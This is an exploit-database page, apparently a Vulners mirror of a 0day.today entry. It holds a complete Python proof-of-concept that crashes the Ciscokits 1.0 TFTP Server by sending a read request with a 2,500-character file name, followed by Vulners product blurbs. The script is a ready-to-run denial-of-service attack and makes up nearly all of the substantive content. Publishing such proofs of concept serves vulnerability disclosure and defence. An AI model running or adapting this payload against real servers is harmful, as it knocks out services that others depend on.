Lucene search
K

Ciscokits 1.0 TFTP Server File Name DoS

🗓️ 25 Jul 2011 00:00:00Reported by Craig FreymanType 
zdt
 zdt
🔗 0day.today👁 16 Views

Ciscokits 1.0 TFTP Server File Name DoS. Allows remote attackers to cause a denial of service by sending a long file name read request

Code
#!/usr/bin/python
#Title: Ciscokits 1.0 TFTP Long Filename DoS
#Author: Craig Freyman (@cd1zz)
#Date: July 22, 2011
#Software Link: http://www.certificationkits.com/tftpserver/tftpserver.zip
#Tested on: Windows XP SP3
#Vendor notified: July 22, 2010 - Vendor approved release of PoC on July 23, 2010.
#Notes: When a long file name read request is made the CPU will spike
#and within about 20 seconds the TFTP service will crash.
 
import socket,sys,time
 
host = '192.168.133.128'
port = 69
 
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
    print "socket() failed"
    sys.exit(1)
 
crash = "\x41" * 2500
 
mode = "netascii"
files = "a"
print "File name READ crash"
#seems to only work on a READ command = x01
pwned = "\x00\x01" + crash + "\0" + mode + "\0"
s.sendto(pwned, (host, port))
time.sleep(2)



#  0day.today [2018-01-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation